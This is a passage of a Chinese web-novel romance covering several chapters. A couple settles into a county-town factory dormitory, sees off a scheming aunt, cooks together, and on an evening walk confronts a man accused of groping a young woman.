苏青莲张开嘴,轻轻咬住他的指尖,直直看着人道:“我实在想不出,唐同学你现在都已经这么坏到头了,还能怎么变得更坏?” 唐清江微低脑袋,在她耳旁轻轻说了几句什么。 苏青莲猛地从他身上跳开,水润润的大眼睛狠狠瞪着唐清江,但整个人却如同一只可怜的虾米,从耳根到赤裸的足,几乎全都红了一遍。 唐清江轻抬眸,覻着人,低低笑了几声。 他小妻子这德行,就是又爱撩又怂。 听着这笑声,苏青莲脸蛋越发殷红了。 她赶紧找个事转移注意力,故意对着唐清江轻喝道:“还坐着呢,懒鬼,第一天搬过来,家里难道不用收拾一下啊,买来的东西就这么胡乱堆着是吧?” 唐清江:“……” 啧,倒打一耙! 也不见是谁刚跟个傻子似的,坐在沙发上不动。 当然,这话是不能明说的。 他媳妇现在这是恼羞成怒,要是说出来,那可能就是雷霆之怒了。 唐清江慢悠悠站起身,拎起刚刚买回来的煤炉子去了走廊上 。 第532章 嫉妒 这个年代没有电磁炉,煤气也没有推广开,住在城里面,烧饭、烧水都是用的煤炉子。 只要几块蜂窝煤,炉子便能烧个一天。 他蹲在地上,用了几张废纸,加上捡的干树叶引火。 等火真正烧起来了,才用火钳夹了一块蜂窝煤放进去。 之前在百货大楼的时候,他们还买了一个铝锅,唐清江先用铝锅烧了一锅水倒掉,而后便开始炒菜。 正是六月的大热天气,又是在走廊这么逼塞的地方对着火炉子。 等两个菜炒完,唐清江整个人便如同从水里捞出来的。 苏青莲整理完了屋内的东西,伸出脑袋来,一眼便看到自家老公浑身汗津津的模样,脸都烤红了。 本来还在跟人生气的心,全部都变为不忍了,赶紧拿毛巾打了盆水端过来。 唐清江伸手摸了摸他的脸颊:“谢谢苏老师。” 苏青莲轻哼一声。 唐愿是真的累了,已经睡了。 这会,大院里不少打赤膊的汉子。 唐清江却还是讲究的,还穿了件白色的工字背心,拿毛巾蘸水先擦了脸,而后撩动上半身擦了起来。 随着手臂抬起的动作,肩背和胳膊上结实健美的肌肉,也微微起伏。 苏青莲就这么站在后面,眯眼看得入迷。 唐清江自来敏锐,上身擦完一遍,将毛巾扔进盆里,转眸覻着自家媳妇,淡淡道:“很好看?” 苏青莲鼓鼓嘴巴,十分勉强道:“咳咳,就还……行吧!” 唐清江剑眉挑起,一手将人拉进自己怀里,另一只手则摸了摸她软乎乎的肚子和手臂,认真道:“确实不如苏老师的身娇体软、细皮嫩肉。” “……”苏青莲气炸了。 她老公怎么就从来不会在口头上让让她! 苏青莲暗自撇撇嘴身娇体软怎么了?你这个死闷骚,不就喜欢这样的吗,晚上被窝里摸起来亲起来的时候,可是半点不嫌弃呢?狗男人。 呸!她怎么这么不矜持了,她这是被唐清江彻底带坏了! 苏青莲张嘴,愤愤在唐清江裸露的肩膀上留下一排整齐的小牙印。 唐清江无奈瞥人一眼。 下一刻,手臂微微用力,直接将人抱起扛在了肩上。 “啊……” 突然的失重,苏青莲忍不住尖叫了一声:“唐清江,你想对我做什么,你欺师灭祖是不是?” 唐清江拍拍她的屁股:“对,好像还挺刺激,养肥了,该宰了。” 苏青莲:“……” 从农村搬到城里,他也真的是不打算做人了是吧。 这边,唐清江和苏青莲两人打情骂俏。 不过,隔壁大院的凌家,却没那么和谐了。 凌母刚下班回来,就听着凌晓雨说的消息,当即愣了好一会。 “你是说苏青莲搬到隔壁农修厂大院住了?”她将钥匙放下,边系围裙边皱眉问道,“你不是前两个月碰到她,说她家那位才刚进的农修厂吗,怎么这么快就分到宿舍了,农修厂那边的宿舍可比汽水厂更紧啊?” 凌晓雨撇撇嘴,不情不愿道:“听苏青莲说,她老公好像是做出了什么东西立了功,被农修厂升职了。” “这么快就升职,倒是个能干的!”凌母沉着眸子。 凌晓雨撇撇嘴:“就是运气好。” 凌母点点头,又伸着手指亲密地点了点凌晓雨的鼻子:“她是有本事,都跑乡下去了,居然还能找到个这么个出色的对象?你啊,你要是有她一半,我和你爸都满足了。” “妈!”凌晓雨不依地叫了一声,抱着她的手撒娇:“妈,你怎么还帮着她啊?” 她说这件事,可不是为了听人夸苏青莲,然后来骂自己的。 凌母看着自家女儿娇憨的模样,忍不住轻笑一声,抬手摸摸她的脑袋,温声道:“好了,乖宝,你别管苏青莲了,她怎么也比不上你的,你公公可是革委会的人呢,昊阳也在政府上班,那姓唐的不过一个小工人,是拍马也赶不上的,你只要和昊阳好好相处就行了。” 凌晓雨不高兴地鼓鼓嘴:“我就是讨厌苏青莲,他一个地主家的成分那么坏性子还那么古怪,她凭什么跟我相比,居然还能翻身?” 凌母自然知道自家女儿的心思。 因为她也是一样的心思,苏青莲这个地主家的凭什么就不管长相、还是学习,都要比自己生的孩子好,哪里配? 她眯了眯眼,伸手将凌晓雨揽到怀里,轻轻拍着安抚道:“乖宝,苏青莲她过得再好又怎样,她还是我外甥女,我要是说句话,难道她还敢不听吗?” 这就是为什么苏青莲看不上凌晓雨的原因。 凌晓雨的母亲曾经是被苏家捡回去养大的,算是苏青莲父亲的妹妹,但是她愤怒苏家随便把自己嫁给一个工人,当年那事儿还是她举报捅出去害的苏家遭殃的,甚至原来苏青莲的未婚夫李昊阳跟苏青莲解除婚约后她立刻就带着自家女儿上门就为了跟李佳攀亲戚。 但她不觉得自己有什么错,她这是为了新社会。 她甚至觉得自己的女儿就该压着苏青莲才对。 凌晓雨立刻抬头,睁大了眼:“妈,你的意思是……” 凌母冷笑一声,语带不屑:“既然回了县城,又住得这么近,居然都不知道来她姑姑家里看看,真是没礼貌、没教养。” 凌晓雨当即笑眯了眼,她从小到大,最喜欢的就是看母亲用这种语气骂苏青莲了。 就是,苏青莲那个没教养的东西,回了城也不来拜访。 …… 为了乔迁之喜,今天唐清江准备的菜色还算丰富。 除了先前买的烤鸭,还另外有红烧肉、蒸鸡蛋、还炒了白菜、以及应季的丝瓜汤,一应俱全。 苏青莲闻着饭菜香味,幸福地眯了眯眼。 下一刻往唐清江身上一扑:“老公,我真是太爱你了!” 唐清江毫不留情揪着自家媳妇的脸颊肉,语气漠然道:“你的爱起伏波澜真大。” 就刚刚还骂他欺师灭祖呢? 不痴不聋,不做家翁。 苏青莲决定当做听不见。 第533章 被唐清江当成病猫了 有美食在前,抓紧时间大快朵颐才是。 她正打算去叫醒唐愿一起吃饭,外面便响起了一阵说话动静。 苏青莲漂亮的眉头蹙起,站起了身。 唐清江脑袋一转,便问道:“外面是凌家人的声音吗?” 这一下,苏青莲满心的不悦,倒是化作了好奇:“老公,你怎么知道?” 唐清江随口道:“若非熟人,你情绪哪会那么大变化?” 苏青莲鼓鼓嘴。 唐清江眯了眯眼道:“把你手边的饭盒拿过来。” “啊……”苏青莲微懵,却还是老老实实递过去了。 外面走廊上,凌母正跟住在左右的人说话。 当然,说话不是目的,上眼药才是真的。 “哎呀,我这外甥女当初硬是嫁去了乡下,我真是一点办法也没有,今儿听说她居然又回县城了,我这不就眼巴巴寻过来了,哎……” 旁边人一阵扼腕。 原本以为这小唐夫妻是个靠谱的,没想居然是抛了亲人嫁到乡下去的,这也太不靠谱、不孝顺了了。 正在这时,宿舍的门打开了。 苏青莲手捧着个饭盒出现在众人面前,唐清江则跟在他身后出来,又随手关上了门。 “哎,小苏出来了?”有人热心道。 苏青莲抬头时,一眼看到站在几位邻居旁边的两道熟悉身影。 凌母当即就要张口说些什么。 下一刻,却见苏青莲猛地冲了过来,一把抱住她,几乎将她撞了个趔趄。 然而,还没等凌母稳住身子呢…… 苏青莲就直接红了眼眶,抱着她的手臂哭诉了起来:“姑姑,你是来找我的吗,我还以为你不要我了,你把我送到乡下说要我参与改造,村里人都说姑姑把我送下去就是不想要我了,我城里的朋友也说妹妹跟我原来的未婚夫在一起了,他们告诉我你们想算计我是真的吗……我不想信的,但是妹妹跟我未婚夫到底是什么关系啊姑姑……” “……” 凌母张着嘴。 她怎么也没想通,她一句话没说出口,苏青莲怎么就能一口气把所有事全给抖落出来了? 旁边围观的人也是一阵惊讶,居然……居然是这样吗? 小苏这么可怜? 被姑姑抛弃丢到乡下住,未婚夫也被姑姑家的女儿抢了,这……这是人能干出来的事儿? 就在这时,苏青莲又猛地摇晃起了凌母,依然我见犹怜地哭诉着:“姑姑你怎么不说话,难道她们说得是真的吗,姑姑!我不信。” “虽然从小到大,你就只骂我娇生惯养比不过妹妹,但我知道,你都是为我好,怕我骄傲,希望我成为一个脚踏实地的人,是不是,姑姑,你肯定不是故意的……” “咳咳……”旁边围观的人都忍不住轻轻咳嗽了起来。 这小苏看着挺活泼的一人,居然这么天真的单纯啊。 养母都做得这样明显了,还以为是为她好?就是故意打压她呢 凌母听着这动静,也终于回过神来。 她前面十几年见惯了苏青莲泼辣倔强的模样,居然不知道,她竟也是个会卖惨装可怜的。 她赶紧也一脸悲伤道:“青莲,你怎么会这么觉得呢,姑姑当然是在乎你的,姑姑对你和晓雨是一样的,你朋友那是胡说逗你玩呢,你当初去了乡下 ,姑姑可难过死了,你这孩子,现在既然回来了,怎么也不想着回姑姑家去看看……” 苏青莲抬起眸子,伸手擦了擦刚伪装出的眼泪,举着手上捧的饭盒道:“姑姑,真的吗,你真的还想着我,太好了,我也正准备去看你和姑父呢,这是我刚刚做好的饭菜,正要带着过去呢!” 凌母差点撇撇嘴,谁看得上你那几个菜。 不过,当着这么多人面,她却是十分和善道:“你能回家,我和你姑父就满足了,还带什么菜呢,我们只巴不得你能在家多住一些日子就好了……” 说着,凌母还动情地擦了擦眼眶。 “回姑姑家住吗?那太好了!”苏青莲激动地拉住她的衣袖。 “嗯额……当然了。”凌母点点头,不知怎地,又有些许不安。 果然,下一刻,就见苏青莲红着眼眶,期期艾艾道:“妈,你不知道,当初我被你送去乡下后就嫁了人,现在我是跟着他搬过来的。” “不过,他才上两个月的班,先前光是买炉子和暖水瓶这些就花了大半工资,我又实在想你们,就把他剩下的钱和票全部都买了些肉菜,想着亲手做了食物拿过去送你们,所以,家里现在是一点余粮都没有,本来还打算跟你和爸借钱过度一下,现在能直接回家住那就更好了。” “啊!”凌母当即变了脸色:“你说什么,你想跟我借钱,还真想回凌家白吃白喝?” 苏青莲似被吓了一跳,往后退了几步,才可怜巴巴地看着她道:“姑姑你不是说想我回家住吗” “你这个赔钱货……”说到一半,凌母似是想到这是在外面,当即闭上了嘴。 “哈哈……” 这一下,旁边围观的人是真正笑起来了。 这真是,既然要假装,那也装到底啊,这算什么呢? 看戏的都觉得嘲讽,在这里演什么演呢,不就是为了败坏苏青莲名声吗,真当他们看不出来啊。 人群散去。 苏青莲站在走廊上,默默看着楼下凌母仓皇离开的背影,满意地咧了咧嘴。 接着,转身一个猛扑,跳到了唐清江身上,笑嘻嘻道:“老公,你说得对。想要让一个人露出真面目的最好办法,就是借钱。” 钱真是好东西啊。 唐清江点点头:“还要多谢一下苏老师给我的灵感!” 苏青莲危险地眯了眯眼:“唐清江同学,你什么意思?” 唐清江抱着人掂了掂,转身往房间里走去,一边十分淡定答道:“没什么意思,反正绝对不是说我们苏老师为人非常务实,经常会在金钱面前不经意露出自己本质的意思。” 苏青莲:“……” 她是太久狮子不发威,被唐清江当成病猫了。 第534章 短时间内许愿不会回来 全息系统外。 段星河终于堵到了盛景炎。 “这都几天了,许愿人呢?” “我新提交的数据也没人审核,电话不接消息不回,她是要我随便处理的意思吗?” 连着好几天了段星河都没见到许愿,忍无可忍堵了盛景炎,结果看到本该一直跟在许愿身后的刑从景此刻跟在盛景炎身后。 段星河深深的看了刑从景一眼。 “她人呢。” 这话也不知是在问刑从景还是在问盛景炎。 刑从景默了片刻并未回答,盛景炎开口:“阿愿不在国内。” “你只一句不在国内就把我打发了?” 段星河嗤笑一声。 “她什么身份我能不清楚?她如果是出国谈合作那刑从景肯定是跟在她身边绝对不会出现在这里,唯一的可能是许愿要见的人身份特殊且只希望她一人前往……这人身份特殊到让顾凛和刑从景都没办法拒绝……” 段星河眼神都犀利了。 “她去见苏青莲了!” “她去见苏青莲为什么没有人告诉我!” 段星河是在质问。 他们都知道他跟苏青莲的关系特殊,为什么要瞒着他?凭什么瞒着他? “是苏女士只想见阿愿。”盛景炎解释:“阿愿离开前说会跟苏女士提起你。” 段星河像是被劝住了,但脸色仍然难看。 “她已经走了三天了,没有任何消息传回来吗。” 盛景炎和刑从景皆沉默。 “容我提醒你们,十几年前苏青莲就已经在研究全息,以她的智商怕是早已经制造出了真正的全息设备,许愿不回来很有可能是在她父亲唐清江的精神世界。” 段星河太聪明了。 许愿和苏青莲并没有多少感情,这么长时间许愿都没回来,那只可能是苏青莲带她去“见”了唐清江。 怎么见?连接精神领域进入唐清江的虚拟世界,只有这种可能。 “什么意思。”盛景炎面色微变。 “多年前苏青莲曾跟我提起过,她研究全息不仅是为了赚钱还为了能够治疗大脑快要死亡的植物人,她创建的全息世界是可以连接人的大脑皮层,经过病人脑内构建的精神世界进行刺激将人带回。但需要多次的精神刺激。” “如果许愿三天内没回来,那短时间内她都不会回来了。” 段星河就是如此笃定。 因为她了解苏青莲,所以他明白这代表什么。 盛景炎脸色顿变,但没有地址没有任何信息,他也只能在A市继续等许愿的消息。 …… 唐清江精神世界内。 “叮叮叮……” 农修厂熟悉的下班铃声响起,某间会议室里, 众人一边收拾自己的东西,一边开始闲聊扯天。 “我突然知道醍醐灌顶是什么感觉了,就是现在这感觉。”周出夸张地说道。 旁边人却也不尴尬地附和着。 “是啊, 感觉之前一直想不通的东西全都明白了。” “这种技术工作,也是可以举一反三的啊!” “感觉以后能够更快确定机械问题,然后精准、快速的对应维修了。” 张俊叹了口气:“今天上午刚听科长说,清江同志设计的新型发动机, 在市机械厂那边经过多轮开会和报告, 目前已经初步立项通过了,接下来就是正常的审查和启动准备工作了, 大概再过一段时间, 他就要离开农修厂去市里了。” 众人目光一闪, 里面既有羡慕也有不舍,却没有嫉妒。 在这些日子的接触中,他们也深深了解了唐清江的本事, 知道自己等人那真是拍马也赶不上, 多余的心情实在没必要。 “哎,这样的话,到时候还有谁来拯救一个废物的我?”周出哭丧着脸大叫道。 “哈哈……” 大家都被这俏皮的语气,逗得大笑了起来。 而作为话题主人的唐清江同学, 则秉持着绝不拖堂一秒、绝不加班一分钟的原则, 以敏捷的速度出了农修厂院门。 从农修厂到他现在住的宿舍, 大约有两公里的路程, 凭唐清江的脚程,十几分钟便走完了。 这会已经是八月, 天上日头正烈,树上蝉鸣深深。 广阔的宿舍大院子里, 树荫下坐着不少纳凉聊天的大爷大妈,而旁边的空地上,一群小孩子却似乎完全感觉不到炎热,打打闹闹追逐嬉笑。 “小唐 ,下班了?” 看着大院门口处进来的人影,大家笑着招呼道。 唐清江也礼貌地点点头:“嗯。” 他和苏青莲搬进县城的农修厂宿舍到现在,也已经一个多月了。 唐清江自来适应性强,苏青莲更是喜欢县城繁华,他们小两口关起门来过日子,比在乡下时更要舒心不少。 自打搬家的第一天,用借钱的理由把凌家人给吓走之后,他们便也没有再来打扰。 偶尔出门时,两家人在路上不小心遇见了,苏青莲便立刻做出一副可怜巴巴、欲言又止要借钱的表情。 这样一来,不用再说其他,凌家人便自动躲得离他们三丈远了。 每每之后,苏青莲总是会被他们的表现,逗笑得前俯后仰。 其他时间,唐清江依旧白天上班下班,苏青莲就在家带着唐愿学习看书,温馨而甜蜜。 而就在这期间,公安局那边也给唐清江来了消息。 是关于唐年和林盛路等人的处理。 两人是切实参与了两起案件,一件流氓案、一件盗窃案,不过,却都没有造成严重后果。 现在虽然法律严苛,但这种情况下,倒也不能直接将人给毙了,干脆就按照时代惯例,把人下放到农场去劳动改造了。 对这一处理,唐清江和苏青莲都忍不住笑了笑。 农场那是什么地方,关得都是犯极大错误的人,其间辛苦劳累难以形容。 唐年自小被唐母和捧在手心里长大,不说从来没有下地挣工分过,便是在家里那也什么都不干。而林盛路更是出身富贵,就算下乡到唐家村当了知青,也是干得开拖拉机这等轻松活。 现在,让这两轻松惯、享受惯了的人去农场改造,那可真是不比直接死了好过多少。 第535章 味道真好 唐清江上楼打开客厅门时,坐在书桌前的苏青莲猛地抬起头来,叫了一声:“老公,你都下班了啊,我看题目太入神了……” 说着,她干脆地甩下了笔,往着唐清江扑过来。 “不嫌热吗?”唐清江一边冷漠地吐槽,一边却诚实地伸出手抱住人。 苏青莲挤在他怀里哼哼唧唧:“不热,我现在心凉如水。” 唐清江带着人走到沙发上坐下,问道:“怎么了?” 苏青莲鼓了鼓嘴,不甘不愿道:“哼哼,我发现高中的知识似乎有点难度,你前几天捡回来的笔记本上,数学题有好几道我都不怎么会,刚刚就是在看,搞得都忘了下楼去接你……” “很难吗?”唐清江挑眉,微微疑惑。 那不就是很正常的题目吗,他按照记忆中的知识点,随便写得几个常规例题啊? 按照他对苏青莲的认知,她看几遍随便套套公式就行了。 唐清江挑了下眉:“是题目难还是想做别的?” 苏青莲眯着漂亮的眸子瞪他:“唐清江同学,你什么意思?” 看她有点恼羞成怒了,唐清江也不再逗她。 最近他确实是每晚都会陪着唐愿给她讲睡前故事,他讲的不是什么童话故事而是一些较为高深的数据分析题,偏偏唐愿对这些也感兴趣,小小的人智商倒是高的很,经常让唐清江觉得惊喜,也因此晚上有时会冷落自己的额小旗子。 果然,苏青莲耐不住了,在他看来这就是撒娇。 唐清江识相摇头:“晚上我跟你好好讨论,让阿愿早点睡。” “哼……”苏青莲朝他龇了龇嘴巴,露出一口整齐洁白的牙齿,“这还差不多。” 小笨蛋! 唐清江嘴角噙着一丝若有若无的笑意,默默覻他一眼。 被这目光一扫,苏青莲忍不住脸蛋微红,有些不好意思。 啧…… 苏青莲在县城呆了一个多月,比在乡下时养得越发好了,面皮白净、朱唇皓齿,此刻颊上沾染淡淡粉色,如同草莓大福似的。 大概上回来后还没喝水,唐清江颇感口干舌燥。 他向来是想到便做的人,手掌微一用力,将人整个搂到怀里,倾身在那粉嫩脸上轻轻吻了一下,又慢慢下移到殷红的唇瓣。 “苏老师,味道真好。”他向来低沉磁性的嗓音,略有含糊,却更危险迷人。 “嗯唔……”苏青莲轻哼一声。 真讨厌啊。 每次这种时候,还故意喊他老师。 踩在沙发上的白皙脚趾调皮蜷缩着,纤细胳膊却越发抱紧了面前人的脖颈。 不知过了多久,两唇分开。 苏青莲靠在唐清江身上,嘴巴微张,轻喘着气。 唐清江抬手摸摸她汗湿的额头,淡声道:“苏老师,这么久还没学会换气?” 苏青莲仰着脸瞪他:“不许再叫老师。” 唐清江看着小妻子气嘟嘟的模样,心内好笑,伸手捏捏软乎乎的脸颊肉:“题目待会再做,称呼待会再讨论,先去做饭吧!” “好!” 苏青莲双眼放光,立刻被转移注意力,起身牵着人颠颠地往走廊上跑去,一边走还一边嘚瑟:“我早上去供销社的时候,虽然肥肉都被抢完了,不过还剩下一副猪蹄给我抢到了。” 唐清江点点头,随口道:“猪蹄?那就做红烧吧,就是时间大概会久点。” 苏青莲眸子更亮,咽了咽口水:“嗯嗯,没关系,红烧好,红烧好,最入味了。” 煤炉子上的火,苏青莲早上点了之后便没熄,正在温着一壶水。 唐清江将水壶拎走,猪蹄夹着在煤火上翻面烫了一会,把毛给烧干净。 苏青莲跟个好奇宝宝似的,从唐清江手中接过两个烧得漆黑的猪蹄放到水里泡着,兴冲冲拿着刀将黑色油灰刮掉。 等他把猪皮刮完之后,唐清江将猪蹄剁成一个个小块,又扔到锅里去焯水,转身去准备红烧的几个香料。 苏青莲则蹲在炉子前,眼睛一转不转的盯着,看到锅里血沫浮起的差不多后,便立刻将其撇掉,猪蹄捞出来洗干净。 这时候的糖太珍贵,普通人家没有炒糖色这一说法。 唐清江在锅里放了点油,便直接将猪蹄下到里面翻炒,等猪皮微微发黄发焦的时候,又扔了姜和八角、香叶下去,再倒了点黄酒和酱油。 这一下,香味便已经彻底散了出来。 苏青莲舀了瓢水递过来,然后,就像只小狗似的,蹲在炉子旁边直吸鼻子。 唐清江将他递过来的水倒到锅里,又放了点盐进去,拿着锅铲搅了搅。 苏青莲仰头看着他:“老公,好香啊。” 唐清江拿起一旁的锅盖给盖上,再回过身,一把将这没出息的家伙拎起来,随口问道:“谁香?” “……”苏青莲。 她老公这问法是不是有什么问题? 苏青莲眸子一转,凑近唐清江身上猛地吸鼻子嗅了嗅,而后,仰脸看着人得意的笑道:“嘿嘿,唐清江同学,你身上这会沾了浓浓的猪蹄香味,所以,你和猪蹄的味道是一样的,你们一样的香了” “……” 唐清江一时有点无语。 反应还挺快。 他一把将人扛起来,往卫生间里走去:“猪蹄就先让它煨着吧,我要先去教训猪蹄的妈妈。” 苏青莲微懵就听唐清江淡淡道:“是某只愚蠢、不知进退的活体小猪。” “……” 苏青莲不服。 肯定不是在说自己,毕竟自己这么聪明。 等卫生间门再次打开的时候,苏青莲整个人都已经软成了一滩水。 倒不是累的,而是羞的。 她老公真是狠人。 只是一起洗个澡而已,也能搞出这么多花样。 她狠狠瞪着人:“唐清江同学,以后不能再这么对待自己的老师,这是欺师灭祖的行为,懂不懂?” 唐清江冷笑:“哦,老师?苏老师之前不是说,不许再叫老师了吗?” “……”苏青莲不尴尬,轻咳一声,理直气壮道:“这要看情况,视情况而定,反正以后,唐清江你不能再这么欺负我。” 第536章 不要教阿愿抓青蛙 唐清江只能笑了笑将人放到沙发上,自己出去盛了米饭和已经烧得软糯的猪蹄进来,又去叫了唐愿吃饭。 苏青莲立刻坐直了身子,期待今晚的肉。 猪蹄炖到了极致,入口即化,但却又不不松散,肉汁的特殊香味瞬间在舌苔之间绽放开。 苏青莲大快朵颐,吃得满嘴直流油:“老公,你这这厨艺绝了,我超级无敌爱你!” “啧……”唐清江无奈的笑,倒是唐愿也小口吃着眼睛亮晶晶的。 …… 吃完饭后。 彼时,太阳已经完全落山,空气中的灼热渐渐散去。 夜空挂着明亮的星子,职工大院靠近清水河,晚风送来一阵带着水汽的凉爽。 晚餐吃得太饱,苏青莲洗了碗后,怂动唐清江出门去河边散步消消食。 两人牵着唐愿往楼下走去,大院里坐着不少人在聊天,见着他们热情地打招呼:“小苏、小唐带着阿愿出去散步啊!” “嗯,奶奶你好啊……” “啊,爷爷你还下棋呢……” 苏青莲的社交牛逼症发作,一路上嘴就没停下来过。 一直到了河边,陌生人多了起来才消停几分。 这条河依着山势环绕而成,水道清澈,河形狭长优美。 靠近县城的这一侧,有一大片一大片的河甸草地,间隔栽着柳、杨等各种树木。 既是晚间一家人散步的好去处,也是情侣们幽会的胜地。 唐清江和苏青莲两人一起牵着唐愿,绕着河漫无目的地瞎走走,天上星子闪烁,身旁河风徐徐,远处不时有各种嬉戏欢笑之声传来,叫人心里一片明净。 苏青莲看到几个蹲在芦苇丛边,紧盯着青蛙不放的小孩,笑道:“我小时候,也经常在这河边玩。” 唐清江撇了撇掌心那细白柔软的手指,淡淡问道:“也挖蚯蚓、抓青蛙?” “……就抓过一次,青蛙那么可爱,我这么善良,怎么会随便抓他们。”苏青莲十分义正言辞。 唐清江看他,十分不走心道:“苏老师为人师表,十分善良有爱心。” 说到这里还是低头看了看满脸好奇的唐元:“不过还是不要教阿愿抓青蛙了,如果抓到不幸抓到癞蛤蟆就不好了。” 唐愿赶紧开口:“阿愿不抓!” 苏青莲瞪他一眼又瞪了唐愿一眼,只觉得父女两个一起欺负自己呢。 而后,想起什么往事,愤愤道:“我就那一次抓青蛙也是有缘故的,我小时候,大院里有几个小男孩特别调皮,非拉着我跟他们玩,我不愿意,他们就故意抓青蛙往我身上扔,要吓唬我。” 唐清江眯了眯眼,低声问道:“所以你就抓一只扔回去了?” 苏青莲点点头,又摇摇头,有点得意道:“一只怎么能够,我那天抓了一晚上的青蛙,大概有二十来只吧,第二天早早去了学校,在他进教室之前,全部塞到了他课桌里,然后,等他一来打开桌子,一群青蛙蹦了他一脸……那场景太好笑了!哈哈……” 唐清江看着她笑得肆无忌惮的可爱模样,也点点头赞同道:“确实干得不错,有仇必报,以直报怨。” 苏青莲看他一眼,然后抱着他胳膊开始撒娇:“老公,你真好。” 唐清江早已习惯了这家伙时不时就来一次的糖衣炮弹,语气十分漠然:“又怎么了?” 苏青莲也习惯了自家老公的这副淡淡的模样,只觉得特别有魅力,她喜欢。 苏青莲哼哼唧唧解释道:“老公,你每次都支持我,从来都不会让我反思,哼,但是以前每次就算不是我的错,身边人也会说,为什么那些小男生不惹别人,就只会惹你啊,肯定是你又怎么怎么样了……” 闻言,唐清江怔愣一瞬。 而后,心脏微软,伸手捏捏她的脸颊肉,漠然道:“对于诸如此类言论,你完全不必理会,害人者的理由千千万万,受害者绝不必完美无缺。” “嗯,我知道的。”苏青莲水润的眸子盯着着他,重重应了一声。 看着小妻子乖巧的模样,唐清江眯了眯眼,决定再多说几句,语气凌然。 “行事之余,如果你心中已有对错决论,那么只需听自己内心的。若是没有,那么就听我的就好。” 苏青莲双手抱着他的胳膊,脑袋靠在他的肩上,轻易便能感受到他说话呼吸时的胸膛微震、肌肉松劲。 尤其,最后一句话时,他嗓音越发低沉,充满磁性,带着一股无法形容的成熟男人的决然性感。 一瞬间,苏青莲只觉自己整个人,都几乎飘飘欲仙。 然后,她清晰地听到了自己的回答声音:“好!” 两人心意想通,心情也越发轻松舒畅,带着唐愿又沿河走了一会。 某个转弯处,堤岸往河中间里延伸,两边临水栽着几棵柳树下,风景颇佳,苏青莲兴致勃勃拉着唐清江走过去。 树旁已经站了几道人影,都是成双成对,大约也是来散步幽会的小情侣们。 唐清江眯眼看着河面。 天上星辰,倒映于水中,在这夜晚,竟让河面显出几分奇异的波光粼粼来,甚是美丽,就是唐愿这么小小一只看到这景色也很开心。 就在这时,耳边突然响起一阵吵闹。 唐清江转头看了过去,就在几步之外,几个人围成一团,似乎是发生了什么矛盾。 掌心的手指微动了动。 唐清江看向身边人:“怎么了?” 苏青莲鼓鼓脸颊,下巴朝着那事发处轻抬,低低道:“我刚刚好像看到了一个臭流氓,我们过去帮忙作证。” “嗯。”唐清江点头。 小妻子要当做好事,他自然没有拒绝的理由。 走近之后,是两拨人在争执,而争执的中心,则是一穿着格子长裙的女孩,以及一个穿着白色短袖衬衣、深绿色直筒长裤的年轻男人。 “臭流氓,你敢摸我……” “这位女士,是不是有什么误会?” “误会什么?你少在这装模作样!” “女士,你冷静一点,别太敏感,冤枉好人了……” 刚刚离得远,苏青莲只看到了两人的大概动作接触。 这会走近,一眼看到那年轻人长相,苏青莲的表情突然变得古怪起来,似笑非笑、似怒非怒。 唐清江虽没见过此人,但看到站在他旁边的凌晓雨,便大约有了些许猜测:“是你的那位前未婚夫?” 第537章 没发育好的小鸡崽儿 苏青莲点点头,冷嗤道:“可真是狗改不了吃屎,从小到大,李昊阳都是这么一副德行,就算现在马上要跟凌晓雨结婚了,也依然本性不改。” 说话间,事发地的场面越发激烈起来。 “你必须给我道歉,你是哪个单位的,我要去向你们单位反应你的所作所为!”那女孩显然是个烈性子,十分激怒道。 “女士,你真的误会了,我刚刚只是路过你身后,你看柳条垂下来这么多,是不是他们碰到你了?而且,现在我未婚妻还在旁边呢,我怎么可能去做这种事。” 李昊阳长相颇为斯文,穿着也体面。 这话一说,周围不少人便煞有其事地点点头。 那女孩却依然瞪着眼:“你当我是傻子吗,我在河边站了好一会,不是没被柳条碰到过,柳条和人手的区别我还分不出吗,柳条是热的吗啊,能有力气捏人吗?” 只是,这话一出,却不知为何,反而让几个围观的男性低声嘻嘻哈哈地笑了起来。 李昊阳眯了眯眼,当即扬声道:“女士,你看你这话说得,我跟你就擦肩而过那么一瞬间的接触,你这又温啊热啊的,又捏啊揉啊的,哪来的这么多细致感受,怕不是你自己太敏感,或者……没事想太多了吧?” 站在他旁边的凌晓雨,也反应过来,立刻对着那女孩叫嚣道:“就是,你还真以为自己是什么天姿国色呢,长得就这模样,居然还说什么我未婚夫摸你?犯得着吗?别是自己想男人想疯了吧?” 这两人话语里的恶意,简直难以掩饰。 而随后,围观的人群里,笑声也越发难以掩饰,甚至有了各种窃窃私语。 那年轻女孩当即脸色绯红,眼中瞬时出现了晶莹之色。 她倔着脖子,咬牙道:“你们在胡说什么,你们会遭报应的,我要去公安局报案……” 李昊阳一笑,无所谓道:“你去吧,去吧,我也巴不得去呢,我巴不得你有什么证据,好还我清白呢?” 凌晓雨也跟着点点头:“对,别想冤枉人!” 女孩神色一变。 她确实没证据。 不过,她转身看向一旁围观之人,轻声问道:“各位同志,你们谁看见了吗,刚刚这个人他……” 众人立刻往后退了几步。 他们有的人,确实没看见。 而有的人,却是因为知道李昊阳的身份,那可是县革委会里委员的儿子,革委会那种要命的地方,谁敢得罪? 公安局现在都多少要唐忌革委会的脸色,更何况他们。 虽然如今耍流氓是大罪,但说到底只是摸一下而已,就算李昊阳被抓去了公安局,也不可能会被枪毙,顶多教育批评几天。 但之后,他们可能就要被革委会纠察队的那群红袖章们,给时不时找上门了? “没看见,什么都没看见啊。” “别是搞错了吧,这大晚上的也没人碰你啊……” “哎呀,小女孩年轻不懂事,这种事。” 听着这各种嘈杂声音。 女孩脸色一片惨白,在漫天月光下,仿佛要透明一般。 她看着河面,觉得自己的心也要直直坠落下去。 就在这时,一道清亮嗓音响起:“我看见了。” 女孩猛地抬起头。 苏青莲对上她的目光,一瞬间觉得,那里面满载的希冀与期待仿佛要将自己压垮。 不过,她当然不会垮。 她紧了紧身边人的大手,往前迈了几步,嗓音清晰道:“我看见了,我看见这位先生,在路过你身后时,故意伸手掐了你的臀部一下。” 女孩睁大眼,呼吸微紧:“你……” 苏青莲点点头:“如果需要,我愿意陪你一同去公安局,打击流氓,人人有责。” 女孩猛地点头,几乎哭出声来:“谢谢你!谢谢!” 刚刚,一旁的凌晓雨和李昊阳两人,那是被突如其来的变故弄懵。 现在看清苏青莲的脸后,便是无边的愤怒。 凌晓雨指着她大怒道:“苏青莲,你就算跟我没有血缘关系,就算对我有什么恩怨,但现在也不能这么故意栽赃陷害冤枉我们吧!” 李昊阳也眯眼:“青莲,你是因为怪我跟晓雨在一起了?” 苏青莲:“……” 